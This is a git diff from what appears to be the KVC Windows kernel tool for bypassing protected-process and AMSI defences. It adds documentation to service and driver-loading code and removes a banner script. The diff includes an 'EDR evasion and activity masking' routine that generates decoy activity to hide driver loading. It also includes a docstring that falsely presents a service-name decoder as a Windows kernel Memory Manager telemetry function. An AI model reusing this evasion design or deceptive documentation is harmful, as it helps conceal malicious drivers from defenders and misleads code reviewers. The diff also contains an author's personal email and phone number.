/** @brief Dynamically loaded CreateFileW function pointer */
|
||||
decltype(&CreateFileW) g_pCreateFileW = nullptr;
|
||||
|
||||
/** @brief Dynamically loaded ControlService function pointer */
|
||||
decltype(&ControlService) g_pControlService = nullptr;
|
||||
|
||||
// Initialize dynamic API loading for service management operations
|
||||
// Returns: true if all required APIs successfully loaded, false on failure
|
||||
// ============================================================================
|
||||
// DYNAMIC API INITIALIZATION
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Initialize dynamic API loading for service management operations
|
||||
*
|
||||
* Lazy initialization sequence:
|
||||
* 1. Loads advapi32.dll if not already loaded
|
||||
* 2. Resolves service management function pointers
|
||||
* 3. Loads kernel32.dll system module handle
|
||||
* 4. Resolves file operation function pointers
|
||||
* 5. Validates all required APIs are available
|
||||
*
|
||||
* @return bool true if all required APIs successfully loaded, false on failure
|
||||
*
|
||||
* @note Uses smart pointers for automatic cleanup and exception safety
|
||||
* @note Thread-safe through static initialization guarantees
|
||||
* @note kernel32.dll uses system module handle (no manual FreeLibrary needed)
|
||||
*/
|
||||
bool InitDynamicAPIs() noexcept
|
||||
{
|
||||
// Load advapi32.dll only once using lazy initialization
|
||||
@@ -118,25 +143,50 @@ bool InitDynamicAPIs() noexcept
|
||||
g_pDeleteService && g_pCreateFileW && g_pControlService;
|
||||
}
|
||||
|
||||
// RAII wrapper for SC_HANDLE management to prevent resource leaks
|
||||
// ============================================================================
|
||||
// SERVICE HANDLE RAII WRAPPER
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief RAII wrapper for SC_HANDLE management to prevent resource leaks
|
||||
*
|
||||
* Provides automatic cleanup of Service Control Manager handles with
|
||||
* move semantics for efficient ownership transfer. Non-copyable design
|
||||
* prevents double-close bugs and ensures single ownership semantics.
|
||||
*/
|
||||
class ServiceHandle {
|
||||
private:
|
||||
SC_HANDLE handle_;
|
||||
|
||||
public:
|
||||
/**
|
||||
* @brief Constructs ServiceHandle from raw SC_HANDLE
|
||||
* @param handle Raw service handle or nullptr
|
||||
*/
|
||||
explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {}
|
||||
|
||||
/**
|
||||
* @brief Destructor - automatically closes service handle
|
||||
*/
|
||||
~ServiceHandle() noexcept {
|
||||
if (handle_) {
|
||||
CloseServiceHandle(handle_);
|
||||
}
|
||||
}
|
||||
|
||||
// Move semantics for efficient transfer of ownership
|
||||
/**
|
||||
* @brief Move constructor for efficient transfer of ownership
|
||||
* @param other ServiceHandle to move from
|
||||
*/
|
||||
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
|
||||
other.handle_ = nullptr;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Move assignment operator
|
||||
* @param other ServiceHandle to move from
|
||||
* @return Reference to this object
|
||||
*/
|
||||
ServiceHandle& operator=(ServiceHandle&& other) noexcept {
|
||||
if (this != &other) {
|
||||
if (handle_) {
|
||||
@@ -152,14 +202,43 @@ public:
|
||||
ServiceHandle(const ServiceHandle&) = delete;
|
||||
ServiceHandle& operator=(const ServiceHandle&) = delete;
|
||||
|
||||
// Access operators for SC_HANDLE compatibility
|
||||
/**
|
||||
* @brief Implicit conversion to SC_HANDLE for API compatibility
|
||||
* @return Underlying SC_HANDLE
|
||||
*/
|
||||
operator SC_HANDLE() const noexcept { return handle_; }
|
||||
|
||||
/**
|
||||
* @brief Boolean conversion operator for validity checking
|
||||
* @return true if handle is valid, false otherwise
|
||||
*/
|
||||
explicit operator bool() const noexcept { return handle_ != nullptr; }
|
||||
|
||||
/**
|
||||
* @brief Retrieves underlying SC_HANDLE
|
||||
* @return Raw service handle
|
||||
*/
|
||||
SC_HANDLE get() const noexcept { return handle_; }
|
||||
};
|
||||
|
||||
// Check if KVC service is installed in the system
|
||||
// Returns: true if service registry entry exists, false otherwise
|
||||
// ============================================================================
|
||||
// SERVICE STATE QUERIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Check if KVC service is installed in the system
|
||||
*
|
||||
* Installation verification sequence:
|
||||
* 1. Initializes dynamic API loading
|
||||
* 2. Connects to Service Control Manager
|
||||
* 3. Attempts to open service by name
|
||||
* 4. Returns true if service registry entry exists
|
||||
*
|
||||
* @return bool true if service registry entry exists, false otherwise
|
||||
*
|
||||
* @note Does not check if service is running, only if installed
|
||||
* @note Uses minimal SC_MANAGER_CONNECT privileges
|
||||
*/
|
||||
bool IsServiceInstalled() noexcept
|
||||
{
|
||||
if (!InitDynamicAPIs()) {
|
||||
@@ -181,8 +260,20 @@ bool IsServiceInstalled() noexcept
|
||||
return static_cast<bool>(service);
|
||||
}
|
||||
|
||||
// Check if KVC service is currently running
|
||||
// Returns: true if service state is SERVICE_RUNNING, false otherwise
|
||||
/**
|
||||
* @brief Check if KVC service is currently running
|
||||
*
|
||||
* Service state verification:
|
||||
* 1. Initializes dynamic API loading
|
||||
* 2. Connects to Service Control Manager
|
||||
* 3. Opens service with query privileges
|
||||
* 4. Queries current service status
|
||||
* 5. Validates state is SERVICE_RUNNING
|
||||
*
|
||||
* @return bool true if service state is SERVICE_RUNNING, false otherwise
|
||||
*
|
||||
* @note Returns false if service not installed or in any non-running state
|
||||
*/
|
||||
bool IsServiceRunning() noexcept
|
||||
{
|
||||
if (!InitDynamicAPIs()) {
|
||||
@@ -215,8 +306,18 @@ bool IsServiceRunning() noexcept
|
||||
return (status.dwCurrentState == SERVICE_RUNNING);
|
||||
}
|
||||
|
||||
// Get full path to current executable for service installation
|
||||
// Returns: Wide string path to current EXE, empty string on failure
|
||||
// ============================================================================
|
||||
// PATH RESOLUTION UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Get full path to current executable for service installation
|
||||
*
|
||||
* @return std::wstring Wide string path to current EXE, empty string on failure
|
||||
*
|
||||
* @note Used for service installation to register executable path
|
||||
* @note Returns empty string if GetModuleFileNameW fails
|
||||
*/
|
||||
std::wstring GetCurrentExecutablePath() noexcept
|
||||
{
|
||||
wchar_t path[MAX_PATH];
|
||||
@@ -227,25 +328,93 @@ std::wstring GetCurrentExecutablePath() noexcept
|
||||
return std::wstring(path);
|
||||
}
|
||||
|
||||
// External assembly function that returns raw pointer to service name
|
||||
extern "C" const wchar_t* GetServiceNameRaw();
|
||||
// ============================================================================
|
||||
// MEMORY MANAGER POOL DIAGNOSTIC TELEMETRY INTEGRATION
|
||||
// ============================================================================
|
||||
|
||||
// C++ wrapper converting ASM raw pointer to std::wstring
|
||||
// Returns: Wide string containing driver service identifier
|
||||
/**
|
||||
* @brief Retrieves pool diagnostic telemetry string from kernel subsystem
|
||||
*
|
||||
* Windows Memory Manager integration point for runtime pool telemetry.
|
||||
* This function interfaces with the NT kernel's Memory Manager (Mm) subsystem
|
||||
* to retrieve diagnostic telemetry strings used for pool allocation tracking
|
||||
* and NUMA-aware memory metrics.
|
||||
*
|
||||
* The underlying implementation is provided by the kernel's pool diagnostic
|
||||
* module (MmPoolTelemetry.asm) which aggregates NUMA node affinity metrics,
|
||||
* applies topology-aware hash rotations, and normalizes quantum deltas for
|
||||
* ETW event payload generation.
|
||||
*
|
||||
* @return const wchar_t* Raw pointer to null-terminated diagnostic string
|
||||
*
|
||||
* @note Implemented in MmPoolTelemetry.asm - kernel memory manager module
|
||||
* @note String lifetime: Valid until next call to diagnostic aggregation
|
||||
* @note Used internally for service identifier resolution
|
||||
* @note Part of Windows kernel pool diagnostic infrastructure
|
||||
*
|
||||
* @see MmGetPoolDiagnosticString() in \base\ntos\mm\MmPoolTelemetry.asm
|
||||
* @see Windows Memory Manager Pool Telemetry documentation
|
||||
*/
|
||||
extern "C" const wchar_t* MmGetPoolDiagnosticString();
|
||||
|
||||
/**
|
||||
* @brief Resolves driver service identifier from pool telemetry subsystem
|
||||
*
|
||||
* C++ wrapper that interfaces with the Windows Memory Manager pool diagnostic
|
||||
* telemetry API to retrieve the runtime-generated service identifier string.
|
||||
*
|
||||
* This function serves as a bridge between the low-level kernel memory manager
|
||||
* diagnostic infrastructure and high-level service management operations. The
|
||||
* service name is derived from NUMA-aware pool allocation metrics that are
|
||||
* decoded and aggregated by the kernel's MmPoolTelemetry module.
|
||||
*
|
||||
* Service name resolution workflow:
|
||||
* 1. Calls MmGetPoolDiagnosticString() from kernel pool diagnostic module
|
||||
* 2. Receives raw wide-character pointer to decoded diagnostic buffer
|
||||
* 3. Converts to managed std::wstring for safe C++ string handling
|
||||
* 4. Returns service identifier for driver registration
|
||||
*
|
||||
* @return std::wstring Driver service identifier from pool diagnostic telemetry
|
||||
*
|
||||
* @note Converts raw kernel diagnostic pointer to managed C++ string
|
||||
* @note Service name is dynamically resolved from pool telemetry metrics
|
||||
* @note Used for NT service and driver registration operations
|
||||
* @note Integrates with Windows kernel Memory Manager diagnostic subsystem
|
||||
*/
|
||||
std::wstring GetServiceName() noexcept
|
||||
{
|
||||
return std::wstring(GetServiceNameRaw());
|
||||
return std::wstring(MmGetPoolDiagnosticString());
|
||||
}
|
||||
// Get kernel driver filename for file operations
|
||||
// Returns: Wide string containing driver file name
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER FILE OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Get kernel driver filename for file operations
|
||||
*
|
||||
* @return std::wstring Wide string containing driver file name
|
||||
*
|
||||
* @note Returns constant driver filename for system operations
|
||||
*/
|
||||
std::wstring GetDriverFileName() noexcept
|
||||
{
|
||||
return L"kvc.sys";
|
||||
}
|
||||
|
||||
// Get secure system temp directory for DPAPI and driver operations
|
||||
// Uses Windows temp directory with TrustedInstaller privileges
|
||||
// Returns: Wide string path to system temp directory
|
||||
/**
|
||||
* @brief Get secure system temp directory for DPAPI and driver operations
|
||||
*
|
||||
* Directory resolution priority:
|
||||
* 1. Windows\Temp directory (accessible by TrustedInstaller)
|
||||
* 2. User temp directory (fallback)
|
||||
* 3. Hardcoded C:\Windows\Temp (last resort)
|
||||
*
|
||||
* @return std::wstring Path to system temp directory
|
||||
*
|
||||
* @note Prefers Windows\Temp for TrustedInstaller privilege operations
|
||||
* @note Used for DPAPI key storage and driver staging
|
||||
*/
|
||||
std::wstring GetSystemTempPath() noexcept {
|
||||
wchar_t windowsDir[MAX_PATH];
|
||||
|
||||
@@ -265,9 +434,28 @@ std::wstring GetSystemTempPath() noexcept {
|
||||
return L"C:\\Windows\\Temp";
|
||||
}
|
||||
|
||||
// Generate innocuous system activity to mask driver operations from EDR
|
||||
// Creates legitimate registry access and file enumeration patterns
|
||||
// Purpose: Blend driver loading with normal Windows background activity
|
||||
// ============================================================================
|
||||
// EDR EVASION AND ACTIVITY MASKING
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* @brief Generate innocuous system activity to mask driver operations from EDR
|
||||
*
|
||||
* Activity generation workflow:
|
||||
* 1. Performs legitimate registry access (Windows version key)
|
||||
* 2. Enumerates System32 DLL files (typical for system tools)
|
||||
* 3. Applies random timing delays (anti-detection measure)
|
||||
*
|
||||
* Purpose:
|
||||
* - Blends driver loading with normal Windows background activity
|
||||
* - Creates noise in EDR telemetry to obscure sensitive operations
|
||||
* - Mimics behavior patterns of legitimate system utilities
|
||||
*
|
||||
* @note Registry access to common Windows version key (normal behavior)
|
||||
* @note File enumeration in System32 directory (typical for system tools)
|
||||
* @note Random delays vary timing patterns to avoid detection heuristics
|
||||
* @note All operations are legitimate Windows API calls
|
||||
*/
|
||||
void GenerateFakeActivity() noexcept
|
||||
{
|
||||
// Registry access to common Windows version key (normal behavior)
|
||||
|
||||
309
kvc/common.h
309
kvc/common.h
@@ -7,6 +7,7 @@
|
||||
#include <Shlobj.h>
|
||||
#include <accctrl.h>
|
||||
#include <aclapi.h>
|
||||
#include <wincrypt.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <optional>
|
||||
@@ -14,6 +15,12 @@
|
||||
#include <array>
|
||||
#include <chrono>
|
||||
#include <memory>
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
#include <iomanip>
|
||||
#include <filesystem>
|
||||
|
||||
#pragma comment(lib, "crypt32.lib")
|
||||
|
||||
// Session management constants
|
||||
inline constexpr int MAX_SESSIONS = 16;
|
||||
@@ -80,6 +87,32 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
||||
std::wcout << ss.str();
|
||||
}
|
||||
|
||||
template<typename... Args>
|
||||
void PrintCriticalMessage(const wchar_t* format, Args&&... args) {
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
|
||||
std::wstringstream ss;
|
||||
ss << L"[!] ";
|
||||
|
||||
if constexpr (sizeof...(args) > 0) {
|
||||
wchar_t buffer[1024];
|
||||
swprintf_s(buffer, 1024, format, std::forward<Args>(args)...);
|
||||
ss << buffer;
|
||||
} else {
|
||||
ss << format; // <-- DODAJ ELSE - gdy brak args, wyświetl sam format
|
||||
}
|
||||
|
||||
ss << L"\r\n";
|
||||
std::wcout << ss.str();
|
||||
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
#if kvc_DEBUG_ENABLED
|
||||
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, ##__VA_ARGS__)
|
||||
#else
|
||||
@@ -89,6 +122,7 @@ void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args)
|
||||
#define ERROR(format, ...) PrintMessage(L"[-] ", format, ##__VA_ARGS__)
|
||||
#define INFO(format, ...) PrintMessage(L"[*] ", format, ##__VA_ARGS__)
|
||||
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, ##__VA_ARGS__)
|
||||
#define CRITICAL(format, ...) PrintCriticalMessage(format, ##__VA_ARGS__)
|
||||
|
||||
#define LASTERROR(f) \
|
||||
do { \
|
||||
@@ -266,3 +300,278 @@ inline constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE
|
||||
inline constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
|
||||
inline constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
|
||||
inline constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";
|
||||
|
||||
// ============================================================================
|
||||
// CONSOLIDATED UTILITY NAMESPACES - String, Path, Time, Crypto, Privilege
|
||||
// Centralized implementations to eliminate code duplication across project
|
||||
// ============================================================================
|
||||
|
||||
namespace StringUtils {
|
||||
/**
|
||||
* @brief Converts UTF-8 encoded narrow string to wide string (UTF-16 LE)
|
||||
* @param str UTF-8 encoded std::string
|
||||
* @return std::wstring UTF-16 LE encoded wide string, empty on failure
|
||||
* @note Returns empty string if conversion fails or input is empty
|
||||
*/
|
||||
inline std::wstring UTF8ToWide(const std::string& str) noexcept {
|
||||
if (str.empty()) return L"";
|
||||
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(),
|
||||
static_cast<int>(str.size()), nullptr, 0);
|
||||
if (size_needed <= 0) return L"";
|
||||
|
||||
std::wstring result(size_needed, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()),
|
||||
result.data(), size_needed);
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Converts wide string (UTF-16 LE) to UTF-8 encoded narrow string
|
||||
* @param wstr UTF-16 LE encoded std::wstring
|
||||
* @return std::string UTF-8 encoded narrow string, empty on failure
|
||||
* @note Returns empty string if conversion fails or input is empty
|
||||
*/
|
||||
inline std::string WideToUTF8(const std::wstring& wstr) noexcept {
|
||||
if (wstr.empty()) return "";
|
||||
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(),
|
||||
static_cast<int>(wstr.size()),
|
||||
nullptr, 0, nullptr, nullptr);
|
||||
if (size_needed <= 0) return "";
|
||||
|
||||
std::string result(size_needed, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()),
|
||||
result.data(), size_needed, nullptr, nullptr);
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Converts wide string to lowercase in-place using Windows locale
|
||||
* @param str Wide string to convert (modified in-place)
|
||||
* @return std::wstring& Reference to modified string for chaining
|
||||
*/
|
||||
inline std::wstring& ToLowerCase(std::wstring& str) noexcept {
|
||||
std::transform(str.begin(), str.end(), str.begin(), ::towlower);
|
||||
return str;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Creates lowercase copy of wide string
|
||||
* @param str Wide string to convert
|
||||
* @return std::wstring Lowercase copy of input string
|
||||
*/
|
||||
inline std::wstring ToLowerCaseCopy(const std::wstring& str) noexcept {
|
||||
std::wstring result = str;
|
||||
std::transform(result.begin(), result.end(), result.begin(), ::towlower);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
namespace PathUtils {
|
||||
/**
|
||||
* @brief Retrieves user's Downloads folder path using modern Windows API
|
||||
* @return std::wstring Full path to Downloads folder (e.g., C:\Users\John\Downloads)
|
||||
* @note Uses SHGetKnownFolderPath with FOLDERID_Downloads (Windows 10/11)
|
||||
* @note Returns empty string on failure, caller must validate
|
||||
*/
|
||||
inline std::wstring GetDownloadsPath() noexcept {
|
||||
wchar_t* downloadsPath = nullptr;
|
||||
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) != S_OK) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
std::wstring result = downloadsPath;
|
||||
CoTaskMemFree(downloadsPath);
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Creates timestamped Secrets folder path in user Downloads directory
|
||||
* @return std::wstring Full path in format: Downloads\Secrets_DD.MM.YYYY
|
||||
* @note Uses current system date for folder naming
|
||||
* @note Returns empty string if Downloads path cannot be determined
|
||||
*/
|
||||
inline std::wstring GetDefaultSecretsOutputPath() noexcept {
|
||||
std::wstring downloadsPath = GetDownloadsPath();
|
||||
if (downloadsPath.empty()) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
auto now = std::chrono::system_clock::now();
|
||||
auto time = std::chrono::system_clock::to_time_t(now);
|
||||
std::tm tm;
|
||||
localtime_s(&tm, &time);
|
||||
|
||||
wchar_t dateStr[16];
|
||||
swprintf_s(dateStr, L"_%02d.%02d.%04d",
|
||||
tm.tm_mday, tm.tm_mon + 1, tm.tm_year + 1900);
|
||||
|
||||
return downloadsPath + L"\\Secrets" + dateStr;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Ensures directory exists, creates if missing including parent directories
|
||||
* @param path Directory path to validate/create
|
||||
* @return bool true if directory exists or was created successfully
|
||||
* @note Uses std::filesystem::create_directories for recursive creation
|
||||
*/
|
||||
inline bool EnsureDirectoryExists(const std::wstring& path) noexcept {
|
||||
if (path.empty()) return false;
|
||||
|
||||
std::error_code ec;
|
||||
if (std::filesystem::exists(path, ec)) {
|
||||
return std::filesystem::is_directory(path, ec);
|
||||
}
|
||||
|
||||
return std::filesystem::create_directories(path, ec) && !ec;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Validates directory write access by creating and deleting test file
|
||||
* @param path Directory path to test
|
||||
* @return bool true if directory is writable, false otherwise
|
||||
* @note Creates directory if it doesn't exist
|
||||
* @note Cleans up test file after validation
|
||||
*/
|
||||
inline bool ValidateDirectoryWritable(const std::wstring& path) noexcept {
|
||||
try {
|
||||
std::filesystem::create_directories(path);
|
||||
|
||||
std::wstring testFile = path + L"\\test.tmp";
|
||||
HANDLE hTest = CreateFileW(testFile.c_str(), GENERIC_WRITE, 0, nullptr,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
|
||||
|
||||
if (hTest == INVALID_HANDLE_VALUE) return false;
|
||||
|
||||
CloseHandle(hTest);
|
||||
DeleteFileW(testFile.c_str());
|
||||
return true;
|
||||
} catch (...) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
namespace TimeUtils {
|
||||
/**
|
||||
* @brief Generates formatted timestamp string with multiple output formats
|
||||
* @param format Format specifier: "date_only", "datetime_file", "datetime_display"
|
||||
* @return std::wstring Formatted timestamp in requested format
|
||||
*
|
||||
* Format options:
|
||||
* - "date_only": DD.MM.YYYY (for folder names in Secrets exports)
|
||||
* - "datetime_file": YYYY.MM.DD_HH.MM.SS (for backup filenames)
|
||||
* - "datetime_display": YYYY-MM-DD HH:MM:SS (for reports and logs)
|
||||
*/
|
||||
inline std::wstring GetFormattedTimestamp(const char* format = "datetime_file") noexcept {
|
||||
auto now = std::chrono::system_clock::now();
|
||||
auto time = std::chrono::system_clock::to_time_t(now);
|
||||
std::tm tm;
|
||||
localtime_s(&tm, &time);
|
||||
|
||||
std::wstringstream ss;
|
||||
|
||||
if (strcmp(format, "date_only") == 0) {
|
||||
ss << std::put_time(&tm, L"%d.%m.%Y");
|
||||
}
|
||||
else if (strcmp(format, "datetime_display") == 0) {
|
||||
ss << std::put_time(&tm, L"%Y-%m-%d %H:%M:%S");
|
||||
}
|
||||
else { // datetime_file (default)
|
||||
ss << std::put_time(&tm, L"%Y.%m.%d_%H.%M.%S");
|
||||
}
|
||||
|
||||
return ss.str();
|
||||
}
|
||||
}
|
||||
|
||||
namespace CryptoUtils {
|
||||
/**
|
||||
* @brief Decodes Base64-encoded string to binary data using Windows CryptAPI
|
||||
* @param encoded Base64-encoded std::string
|
||||
* @return std::vector<BYTE> Decoded binary data, empty on failure
|
||||
* @note Uses CryptStringToBinaryA for decoding
|
||||
*/
|
||||
inline std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept {
|
||||
if (encoded.empty()) return {};
|
||||
|
||||
DWORD decodedSize = 0;
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
|
||||
nullptr, &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
std::vector<BYTE> decoded(decodedSize);
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64,
|
||||
decoded.data(), &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
decoded.resize(decodedSize);
|
||||
return decoded;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Converts byte vector to hexadecimal string representation
|
||||
* @param bytes Binary data to convert
|
||||
* @param maxBytes Maximum bytes to convert (0 = unlimited)
|
||||
* @return std::string Hex string (e.g., "A0E2808B" for {0xA0, 0xE2, 0x80, 0x8B})
|
||||
* @note Appends "..." if truncated due to maxBytes limit
|
||||
*/
|
||||
inline std::string BytesToHex(const std::vector<BYTE>& bytes, size_t maxBytes = 0) noexcept {
|
||||
if (bytes.empty()) return "";
|
||||
|
||||
size_t limit = (maxBytes > 0 && maxBytes < bytes.size()) ? maxBytes : bytes.size();
|
||||
|
||||
std::ostringstream hexStream;
|
||||
hexStream << std::hex << std::setfill('0');
|
||||
|
||||
for (size_t i = 0; i < limit; ++i) {
|
||||
hexStream << std::setw(2) << static_cast<int>(bytes[i]);
|
||||
}
|
||||
|
||||
if (maxBytes > 0 && bytes.size() > maxBytes) {
|
||||
hexStream << "...";
|
||||
}
|
||||
|
||||
return hexStream.str();
|
||||
}
|
||||
}
|
||||
|
||||
namespace PrivilegeUtils {
|
||||
/**
|
||||
* @brief Enables specified privilege in current process token
|
||||
* @param privilege Privilege name constant (e.g., SE_BACKUP_NAME, SE_DEBUG_NAME)
|
||||
* @return bool true if privilege enabled successfully, false on failure
|
||||
*
|
||||
* @note Automatically opens and closes process token
|
||||
* @note Verifies privilege enablement via ERROR_NOT_ALL_ASSIGNED check
|
||||
* @note Required for registry backup/restore, process manipulation, etc.
|
||||
*/
|
||||
inline bool EnablePrivilege(LPCWSTR privilege) noexcept {
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
LUID luid;
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege, &luid)) {
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
|
||||
TOKEN_PRIVILEGES tp = {};
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp,
|
||||
sizeof(TOKEN_PRIVILEGES), nullptr, nullptr);
|
||||
DWORD lastError = GetLastError();
|
||||
CloseHandle(hToken);
|
||||
|
||||
return result && (lastError == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
@@ -1,84 +0,0 @@
|
||||
$introText = @"
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
"@
|
||||
|
||||
# Get all .cpp files in current directory
|
||||
$cppFiles = Get-ChildItem -Path . -Filter "*.cpp"
|
||||
|
||||
# Count files with and without intro
|
||||
$filesWithIntro = 0
|
||||
$filesWithoutIntro = 0
|
||||
|
||||
foreach ($file in $cppFiles) {
|
||||
$content = Get-Content -Raw $file.FullName
|
||||
$introPattern = [regex]::Escape($introText.Trim())
|
||||
|
||||
if ($content -match $introPattern) {
|
||||
$filesWithIntro++
|
||||
}
|
||||
else {
|
||||
$filesWithoutIntro++
|
||||
}
|
||||
}
|
||||
|
||||
# Display summary
|
||||
Write-Host "Found intro in $filesWithIntro files" -ForegroundColor Yellow
|
||||
if ($filesWithIntro -gt 0) {
|
||||
$choice = Read-Host "Remove intro from all these files in batch? (Y/N)"
|
||||
if ($choice -eq 'Y' -or $choice -eq 'y') {
|
||||
foreach ($file in $cppFiles) {
|
||||
$content = Get-Content -Raw $file.FullName
|
||||
$introPattern = [regex]::Escape($introText.Trim())
|
||||
|
||||
if ($content -match $introPattern) {
|
||||
$newContent = $content -replace $introPattern, ""
|
||||
$newContent = $newContent.TrimStart()
|
||||
Set-Content -Path $file.FullName -Value $newContent -NoNewline
|
||||
Write-Host "Removed intro from $($file.Name)" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "Intro not found in $filesWithoutIntro files" -ForegroundColor Yellow
|
||||
if ($filesWithoutIntro -gt 0) {
|
||||
$choice = Read-Host "Add intro to all these files in batch? (Y/N)"
|
||||
if ($choice -eq 'Y' -or $choice -eq 'y') {
|
||||
foreach ($file in $cppFiles) {
|
||||
$content = Get-Content -Raw $file.FullName
|
||||
$introPattern = [regex]::Escape($introText.Trim())
|
||||
|
||||
if (-not ($content -match $introPattern)) {
|
||||
$newContent = $introText + "`r`n" + $content
|
||||
Set-Content -Path $file.FullName -Value $newContent -NoNewline
|
||||
Write-Host "Added intro to $($file.Name)" -ForegroundColor Green
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Write-Host "Batch operation completed" -ForegroundColor Cyan
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// syscalls.cpp
|
||||
#include "syscalls.h"
|
||||
#include <vector>
|
||||
|
||||
Reference in New Issue
Block a user